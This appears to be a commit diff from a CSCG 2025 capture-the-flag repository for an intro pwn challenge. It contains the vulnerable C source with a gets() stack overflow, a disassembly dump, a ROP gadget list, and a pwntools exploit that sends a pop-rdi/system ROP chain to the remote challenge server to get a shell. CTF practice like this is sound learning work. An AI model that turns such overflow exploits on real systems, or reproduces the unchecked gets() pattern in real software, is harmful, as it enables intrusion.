dingdong

cscg25/pwn/intro1/Makefile

@@ -5,4 +5,4 @@ intro-pwn: intro-pwn.c
 	$(CC) $(CFLAGS) -o intro-pwn intro-pwn.c
 
 clean:
-	rm -f intro-pwn
+	rm -f intro-pwn

cscg25/pwn/intro1/dump

@@ -0,0 +1,202 @@
+
+intro-pwn:     file format elf64-x86-64
+
+
+Disassembly of section .init:
+
+0000000000401000 <_init>:
+  401000:	48 83 ec 08          	sub    rsp,0x8
+  401004:	48 8b 05 d5 2f 00 00 	mov    rax,QWORD PTR [rip+0x2fd5]        # 403fe0 <__gmon_start__@Base>
+  40100b:	48 85 c0             	test   rax,rax
+  40100e:	74 02                	je     401012 <_init+0x12>
+  401010:	ff d0                	call   rax
+  401012:	48 83 c4 08          	add    rsp,0x8
+  401016:	c3                   	ret    
+
+Disassembly of section .plt:
+
+0000000000401020 <puts@plt-0x10>:
+  401020:	ff 35 ca 2f 00 00    	push   QWORD PTR [rip+0x2fca]        # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
+  401026:	ff 25 cc 2f 00 00    	jmp    QWORD PTR [rip+0x2fcc]        # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
+  40102c:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+0000000000401030 <puts@plt>:
+  401030:	ff 25 ca 2f 00 00    	jmp    QWORD PTR [rip+0x2fca]        # 404000 <puts@GLIBC_2.2.5>
+  401036:	68 00 00 00 00       	push   0x0
+  40103b:	e9 e0 ff ff ff       	jmp    401020 <_init+0x20>
+
+0000000000401040 <system@plt>:
+  401040:	ff 25 c2 2f 00 00    	jmp    QWORD PTR [rip+0x2fc2]        # 404008 <system@GLIBC_2.2.5>
+  401046:	68 01 00 00 00       	push   0x1
+  40104b:	e9 d0 ff ff ff       	jmp    401020 <_init+0x20>
+
+0000000000401050 <printf@plt>:
+  401050:	ff 25 ba 2f 00 00    	jmp    QWORD PTR [rip+0x2fba]        # 404010 <printf@GLIBC_2.2.5>
+  401056:	68 02 00 00 00       	push   0x2
+  40105b:	e9 c0 ff ff ff       	jmp    401020 <_init+0x20>
+
+0000000000401060 <gets@plt>:
+  401060:	ff 25 b2 2f 00 00    	jmp    QWORD PTR [rip+0x2fb2]        # 404018 <gets@GLIBC_2.2.5>
+  401066:	68 03 00 00 00       	push   0x3
+  40106b:	e9 b0 ff ff ff       	jmp    401020 <_init+0x20>
+
+0000000000401070 <setvbuf@plt>:
+  401070:	ff 25 aa 2f 00 00    	jmp    QWORD PTR [rip+0x2faa]        # 404020 <setvbuf@GLIBC_2.2.5>
+  401076:	68 04 00 00 00       	push   0x4
+  40107b:	e9 a0 ff ff ff       	jmp    401020 <_init+0x20>
+
+Disassembly of section .text:
+
+0000000000401080 <_start>:
+  401080:	31 ed                	xor    ebp,ebp
+  401082:	49 89 d1             	mov    r9,rdx
+  401085:	5e                   	pop    rsi
+  401086:	48 89 e2             	mov    rdx,rsp
+  401089:	48 83 e4 f0          	and    rsp,0xfffffffffffffff0
+  40108d:	50                   	push   rax
+  40108e:	54                   	push   rsp
+  40108f:	45 31 c0             	xor    r8d,r8d
+  401092:	31 c9                	xor    ecx,ecx
+  401094:	48 c7 c7 23 12 40 00 	mov    rdi,0x401223
+  40109b:	ff 15 37 2f 00 00    	call   QWORD PTR [rip+0x2f37]        # 403fd8 <__libc_start_main@GLIBC_2.34>
+  4010a1:	f4                   	hlt    
+  4010a2:	66 2e 0f 1f 84 00 00 	cs nop WORD PTR [rax+rax*1+0x0]
+  4010a9:	00 00 00 
+  4010ac:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+00000000004010b0 <_dl_relocate_static_pie>:
+  4010b0:	c3                   	ret    
+  4010b1:	66 2e 0f 1f 84 00 00 	cs nop WORD PTR [rax+rax*1+0x0]
+  4010b8:	00 00 00 
+  4010bb:	0f 1f 44 00 00       	nop    DWORD PTR [rax+rax*1+0x0]
+
+00000000004010c0 <deregister_tm_clones>:
+  4010c0:	b8 38 40 40 00       	mov    eax,0x404038
+  4010c5:	48 3d 38 40 40 00    	cmp    rax,0x404038
+  4010cb:	74 13                	je     4010e0 <deregister_tm_clones+0x20>
+  4010cd:	b8 00 00 00 00       	mov    eax,0x0
+  4010d2:	48 85 c0             	test   rax,rax
+  4010d5:	74 09                	je     4010e0 <deregister_tm_clones+0x20>
+  4010d7:	bf 38 40 40 00       	mov    edi,0x404038
+  4010dc:	ff e0                	jmp    rax
+  4010de:	66 90                	xchg   ax,ax
+  4010e0:	c3                   	ret    
+  4010e1:	66 66 2e 0f 1f 84 00 	data16 cs nop WORD PTR [rax+rax*1+0x0]
+  4010e8:	00 00 00 00 
+  4010ec:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+00000000004010f0 <register_tm_clones>:
+  4010f0:	be 38 40 40 00       	mov    esi,0x404038
+  4010f5:	48 81 ee 38 40 40 00 	sub    rsi,0x404038
+  4010fc:	48 89 f0             	mov    rax,rsi
+  4010ff:	48 c1 ee 3f          	shr    rsi,0x3f
+  401103:	48 c1 f8 03          	sar    rax,0x3
+  401107:	48 01 c6             	add    rsi,rax
+  40110a:	48 d1 fe             	sar    rsi,1
+  40110d:	74 11                	je     401120 <register_tm_clones+0x30>
+  40110f:	b8 00 00 00 00       	mov    eax,0x0
+  401114:	48 85 c0             	test   rax,rax
+  401117:	74 07                	je     401120 <register_tm_clones+0x30>
+  401119:	bf 38 40 40 00       	mov    edi,0x404038
+  40111e:	ff e0                	jmp    rax
+  401120:	c3                   	ret    
+  401121:	66 66 2e 0f 1f 84 00 	data16 cs nop WORD PTR [rax+rax*1+0x0]
+  401128:	00 00 00 00 
+  40112c:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+0000000000401130 <__do_global_dtors_aux>:
+  401130:	f3 0f 1e fa          	endbr64 
+  401134:	80 3d 2d 2f 00 00 00 	cmp    BYTE PTR [rip+0x2f2d],0x0        # 404068 <completed.0>
+  40113b:	75 13                	jne    401150 <__do_global_dtors_aux+0x20>
+  40113d:	55                   	push   rbp
+  40113e:	48 89 e5             	mov    rbp,rsp
+  401141:	e8 7a ff ff ff       	call   4010c0 <deregister_tm_clones>
+  401146:	c6 05 1b 2f 00 00 01 	mov    BYTE PTR [rip+0x2f1b],0x1        # 404068 <completed.0>
+  40114d:	5d                   	pop    rbp
+  40114e:	c3                   	ret    
+  40114f:	90                   	nop
+  401150:	c3                   	ret    
+  401151:	66 66 2e 0f 1f 84 00 	data16 cs nop WORD PTR [rax+rax*1+0x0]
+  401158:	00 00 00 00 
+  40115c:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+0000000000401160 <frame_dummy>:
+  401160:	f3 0f 1e fa          	endbr64 
+  401164:	eb 8a                	jmp    4010f0 <register_tm_clones>
+
+0000000000401166 <ignore_me_init_buffering>:
+  401166:	55                   	push   rbp
+  401167:	48 89 e5             	mov    rbp,rsp
+  40116a:	48 8b 05 cf 2e 00 00 	mov    rax,QWORD PTR [rip+0x2ecf]        # 404040 <stdout@GLIBC_2.2.5>
+  401171:	b9 00 00 00 00       	mov    ecx,0x0
+  401176:	ba 02 00 00 00       	mov    edx,0x2
+  40117b:	be 00 00 00 00       	mov    esi,0x0
+  401180:	48 89 c7             	mov    rdi,rax
+  401183:	e8 e8 fe ff ff       	call   401070 <setvbuf@plt>
+  401188:	48 8b 05 c1 2e 00 00 	mov    rax,QWORD PTR [rip+0x2ec1]        # 404050 <stdin@GLIBC_2.2.5>
+  40118f:	b9 00 00 00 00       	mov    ecx,0x0
+  401194:	ba 02 00 00 00       	mov    edx,0x2
+  401199:	be 00 00 00 00       	mov    esi,0x0
+  40119e:	48 89 c7             	mov    rdi,rax
+  4011a1:	e8 ca fe ff ff       	call   401070 <setvbuf@plt>
+  4011a6:	48 8b 05 b3 2e 00 00 	mov    rax,QWORD PTR [rip+0x2eb3]        # 404060 <stderr@GLIBC_2.2.5>
+  4011ad:	b9 00 00 00 00       	mov    ecx,0x0
+  4011b2:	ba 02 00 00 00       	mov    edx,0x2
+  4011b7:	be 00 00 00 00       	mov    esi,0x0
+  4011bc:	48 89 c7             	mov    rdi,rax
+  4011bf:	e8 ac fe ff ff       	call   401070 <setvbuf@plt>
+  4011c4:	90                   	nop
+  4011c5:	5d                   	pop    rbp
+  4011c6:	c3                   	ret    
+
+00000000004011c7 <win>:
+  4011c7:	55                   	push   rbp
+  4011c8:	48 89 e5             	mov    rbp,rsp
+  4011cb:	48 8d 05 36 0e 00 00 	lea    rax,[rip+0xe36]        # 402008 <_IO_stdin_used+0x8>
+  4011d2:	48 89 c7             	mov    rdi,rax
+  4011d5:	e8 66 fe ff ff       	call   401040 <system@plt>
+  4011da:	90                   	nop
+  4011db:	5d                   	pop    rbp
+  4011dc:	c3                   	ret    
+
+00000000004011dd <vuln>:
+  4011dd:	55                   	push   rbp
+  4011de:	48 89 e5             	mov    rbp,rsp
+  4011e1:	48 83 ec 10          	sub    rsp,0x10
+  4011e5:	48 8d 05 36 0e 00 00 	lea    rax,[rip+0xe36]        # 402022 <_IO_stdin_used+0x22>
+  4011ec:	48 89 c7             	mov    rdi,rax
+  4011ef:	e8 3c fe ff ff       	call   401030 <puts@plt>
+  4011f4:	48 8d 45 f0          	lea    rax,[rbp-0x10]
+  4011f8:	48 89 c7             	mov    rdi,rax
+  4011fb:	e8 60 fe ff ff       	call   401060 <gets@plt>
+  401200:	48 8d 45 f0          	lea    rax,[rbp-0x10]
+  401204:	ba 5f c3 00 00       	mov    edx,0xc35f
+  401209:	48 89 c6             	mov    rsi,rax
+  40120c:	48 8d 05 25 0e 00 00 	lea    rax,[rip+0xe25]        # 402038 <_IO_stdin_used+0x38>
+  401213:	48 89 c7             	mov    rdi,rax
+  401216:	b8 00 00 00 00       	mov    eax,0x0
+  40121b:	e8 30 fe ff ff       	call   401050 <printf@plt>
+  401220:	90                   	nop
+  401221:	c9                   	leave  
+  401222:	c3                   	ret    
+
+0000000000401223 <main>:
+  401223:	55                   	push   rbp
+  401224:	48 89 e5             	mov    rbp,rsp
+  401227:	48 83 ec 10          	sub    rsp,0x10
+  40122b:	89 7d fc             	mov    DWORD PTR [rbp-0x4],edi
+  40122e:	48 89 75 f0          	mov    QWORD PTR [rbp-0x10],rsi
+  401232:	b8 00 00 00 00       	mov    eax,0x0
+  401237:	e8 2a ff ff ff       	call   401166 <ignore_me_init_buffering>
+  40123c:	b8 00 00 00 00       	mov    eax,0x0
+  401241:	e8 97 ff ff ff       	call   4011dd <vuln>
+  401246:	b8 00 00 00 00       	mov    eax,0x0
+  40124b:	c9                   	leave  
+  40124c:	c3                   	ret    
+
+Disassembly of section .fini:
+
+0000000000401250 <_fini>:
+  401250:	48 83 ec 08          	sub    rsp,0x8
+  401254:	48 83 c4 08          	add    rsp,0x8
+  401258:	c3                   	ret    

cscg25/pwn/intro1/exploit.py

@@ -0,0 +1,34 @@
+from pwn import *
+
+# Set the context for the binary
+context.binary = './intro-pwn'  # Replace with your binary's name
+
+# Choose local or remote
+LOCAL = False # Change to False if connecting remotely
+
+if LOCAL:
+    p = process(context.binary.path)
+else:
+    p = remote("a05e1cfb314bce1c87472c7e-1024-intro-pwn-1.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
+def send_payload(payload):
+    p.sendline(payload)
+
+def recv_until(delim):
+    return p.recvuntil(delim)
+
+def interact():
+    p.interactive()
+
+address = 0x4011c7
+system = 0x4011d5
+pop_rdi = 0x401205
+command_addr = 0x402010
+
+
+# Example interaction
+recv_until(b'What is your name?')
+payload = b'A' * 16  + b'\x00' * 8 + p64(pop_rdi) + p64(command_addr) + p64(system)# Adjust based on your needs
+send_payload(payload)
+
+interact()  # Keep the shell open
+

cscg25/pwn/intro1/intro-pwn.c

@@ -3,37 +3,31 @@
 
 // --------------------------------------------------- SETUP
 
-
-void ignore_me_init_buffering()
-{
-    setvbuf(stdout, NULL, _IONBF, 0);
-    setvbuf(stdin, NULL, _IONBF, 0);
-    setvbuf(stderr, NULL, _IONBF, 0);
+void ignore_me_init_buffering() {
+  setvbuf(stdout, NULL, _IONBF, 0);
+  setvbuf(stdin, NULL, _IONBF, 0);
+  setvbuf(stderr, NULL, _IONBF, 0);
 }
 
 // --------------------------------------------------- VULNERABLE FUNCTION
 
-void win()
-{
-    system("echo no cat /flag for you");
-}
+void win() { system("echo no cat /flag for you"); }
 
 void vuln() {
-    char name[16];
-    printf("What is your name?\n");
-    gets(name);
-    printf("Hello %s!\nI have a present for you: %d\n", name, 0xc35f);
+  char name[16];
+  printf("What is your name?\n");
+  gets(name);
+  printf("Hello %s!\nI have a present for you: %d\n", name, 0xc35f);
 }
 
 // --------------------------------------------------- MAIN
 
-int main(int argc, char **argv)
-{
-    (void)argc;
-    (void)argv;
+int main(int argc, char **argv) {
+  (void)argc;
+  (void)argv;
 
-	ignore_me_init_buffering();
+  ignore_me_init_buffering();
 
-    vuln();
-    return 0;
+  vuln();
+  return 0;
 }

cscg25/pwn/intro1/rop_gadgedts

@@ -0,0 +1,112 @@
+
+
+
+Gadgets
+=======
+
+
+0x0000000000401098: adc al, byte ptr [rax]; call qword ptr [rip + 0x2f37]; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x000000000040110e: adc dword ptr [rax], edi; test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax; 
+0x000000000040109c: adc eax, 0x2f37; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x00000000004010cc: adc edi, dword ptr [rax]; test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x000000000040113c: adc edx, dword ptr [rbp + 0x48]; mov ebp, esp; call 0x10c0; mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret; 
+0x00000000004010a0: add ah, dh; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x000000000040109a: add bh, bh; adc eax, 0x2f37; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x000000000040100a: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
+0x0000000000401217: add byte ptr [rax], al; add byte ptr [rax], al; call 0x1050; nop; leave; ret; 
+0x000000000040123d: add byte ptr [rax], al; add byte ptr [rax], al; call 0x11dd; mov eax, 0; leave; ret; 
+0x00000000004010a8: add byte ptr [rax], al; add byte ptr [rax], al; nop dword ptr [rax]; ret; 
+0x00000000004010ce: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x0000000000401110: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax; 
+0x0000000000401247: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret; 
+0x0000000000401248: add byte ptr [rax], al; add cl, cl; ret; 
+0x0000000000401219: add byte ptr [rax], al; call 0x1050; nop; leave; ret; 
+0x000000000040123f: add byte ptr [rax], al; call 0x11dd; mov eax, 0; leave; ret; 
+0x00000000004011d0: add byte ptr [rax], al; mov rdi, rax; call 0x1040; nop; pop rbp; ret; 
+0x00000000004011ba: add byte ptr [rax], al; mov rdi, rax; call 0x1070; nop; pop rbp; ret; 
+0x00000000004010aa: add byte ptr [rax], al; nop dword ptr [rax]; ret; 
+0x000000000040124e: add byte ptr [rax], al; sub rsp, 8; add rsp, 8; ret; 
+0x0000000000401009: add byte ptr [rax], al; test rax, rax; je 0x1012; call rax; 
+0x0000000000401009: add byte ptr [rax], al; test rax, rax; je 0x1012; call rax; add rsp, 8; ret; 
+0x00000000004010d0: add byte ptr [rax], al; test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x0000000000401112: add byte ptr [rax], al; test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax; 
+0x000000000040109f: add byte ptr [rax], al; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x0000000000401249: add byte ptr [rax], al; leave; ret; 
+0x000000000040114b: add byte ptr [rcx], al; pop rbp; ret; 
+0x000000000040124a: add cl, cl; ret; 
+0x0000000000401099: add dil, dil; adc eax, 0x2f37; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x0000000000401006: add eax, 0x2fd5; test rax, rax; je 0x1012; call rax; 
+0x0000000000401006: add eax, 0x2fd5; test rax, rax; je 0x1012; call rax; add rsp, 8; ret; 
+0x00000000004011cd: add eax, 0xe36; mov rdi, rax; call 0x1040; nop; pop rbp; ret; 
+0x0000000000401013: add esp, 8; ret; 
+0x0000000000401012: add rsp, 8; ret; 
+0x00000000004011d5: call 0x1040; nop; pop rbp; ret; 
+0x000000000040121b: call 0x1050; nop; leave; ret; 
+0x00000000004011bf: call 0x1070; nop; pop rbp; ret; 
+0x0000000000401141: call 0x10c0; mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret; 
+0x0000000000401237: call 0x1166; mov eax, 0; call 0x11dd; mov eax, 0; leave; ret; 
+0x0000000000401241: call 0x11dd; mov eax, 0; leave; ret; 
+0x000000000040109b: call qword ptr [rip + 0x2f37]; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x0000000000401010: call rax; 
+0x0000000000401010: call rax; add rsp, 8; ret; 
+0x0000000000401002: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x2fd5; test rax, rax; je 0x1012; call rax; 
+0x000000000040100e: je 0x1012; call rax; 
+0x000000000040100e: je 0x1012; call rax; add rsp, 8; ret; 
+0x00000000004010cb: je 0x10e0; mov eax, 0; test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x00000000004010d5: je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x000000000040110d: je 0x1120; mov eax, 0; test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax; 
+0x0000000000401117: je 0x1120; mov edi, 0x404038; jmp rax; 
+0x00000000004010dc: jmp rax; 
+0x00000000004011cc: lea eax, [rip + 0xe36]; mov rdi, rax; call 0x1040; nop; pop rbp; ret; 
+0x00000000004011cb: lea rax, [rip + 0xe36]; mov rdi, rax; call 0x1040; nop; pop rbp; ret; 
+0x0000000000401146: mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret; 
+0x0000000000401216: mov eax, 0; call 0x1050; nop; leave; ret; 
+0x000000000040123c: mov eax, 0; call 0x11dd; mov eax, 0; leave; ret; 
+0x00000000004010cd: mov eax, 0; test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x000000000040110f: mov eax, 0; test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax; 
+0x0000000000401246: mov eax, 0; leave; ret; 
+0x0000000000401005: mov eax, dword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax; 
+0x0000000000401005: mov eax, dword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax; add rsp, 8; ret; 
+0x000000000040113f: mov ebp, esp; call 0x10c0; mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret; 
+0x00000000004010d7: mov edi, 0x404038; jmp rax; 
+0x00000000004011d3: mov edi, eax; call 0x1040; nop; pop rbp; ret; 
+0x00000000004011bd: mov edi, eax; call 0x1070; nop; pop rbp; ret; 
+0x0000000000401214: mov edi, eax; mov eax, 0; call 0x1050; nop; leave; ret; 
+0x0000000000401004: mov rax, qword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax; 
+0x0000000000401004: mov rax, qword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax; add rsp, 8; ret; 
+0x000000000040113e: mov rbp, rsp; call 0x10c0; mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret; 
+0x00000000004011d2: mov rdi, rax; call 0x1040; nop; pop rbp; ret; 
+0x00000000004011bc: mov rdi, rax; call 0x1070; nop; pop rbp; ret; 
+0x0000000000401213: mov rdi, rax; mov eax, 0; call 0x1050; nop; leave; ret; 
+0x00000000004010a4: nop dword ptr [rax + rax]; nop dword ptr [rax]; ret; 
+0x00000000004010ac: nop dword ptr [rax]; ret; 
+0x00000000004010a3: nop dword ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x00000000004010a2: nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x0000000000401003: or byte ptr [rax - 0x75], cl; add eax, 0x2fd5; test rax, rax; je 0x1012; call rax; 
+0x00000000004010d6: or dword ptr [rdi + 0x404038], edi; jmp rax; 
+0x000000000040114d: pop rbp; ret; 
+0x0000000000401205: pop rdi; ret; 
+0x000000000040113d: push rbp; mov rbp, rsp; call 0x10c0; mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret; 
+0x0000000000401042: ret 0x2f; 
+0x000000000040100d: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
+0x0000000000401251: sub esp, 8; add rsp, 8; ret; 
+0x0000000000401001: sub esp, 8; mov rax, qword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax; 
+0x0000000000401250: sub rsp, 8; add rsp, 8; ret; 
+0x0000000000401000: sub rsp, 8; mov rax, qword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax; 
+0x00000000004010a6: test byte ptr [rax], al; add byte ptr [rax], al; add byte ptr [rax], al; nop dword ptr [rax]; ret; 
+0x000000000040100c: test eax, eax; je 0x1012; call rax; 
+0x000000000040100c: test eax, eax; je 0x1012; call rax; add rsp, 8; ret; 
+0x00000000004010d3: test eax, eax; je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x0000000000401115: test eax, eax; je 0x1120; mov edi, 0x404038; jmp rax; 
+0x000000000040100b: test rax, rax; je 0x1012; call rax; 
+0x000000000040100b: test rax, rax; je 0x1012; call rax; add rsp, 8; ret; 
+0x00000000004010d2: test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x0000000000401114: test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax; 
+0x00000000004010a1: hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x0000000000401221: leave; ret; 
+0x00000000004011c4: nop; pop rbp; ret; 
+0x0000000000401220: nop; leave; ret; 
+0x00000000004010df: nop; ret; 
+0x0000000000401016: ret; 
+
+103 gadgets found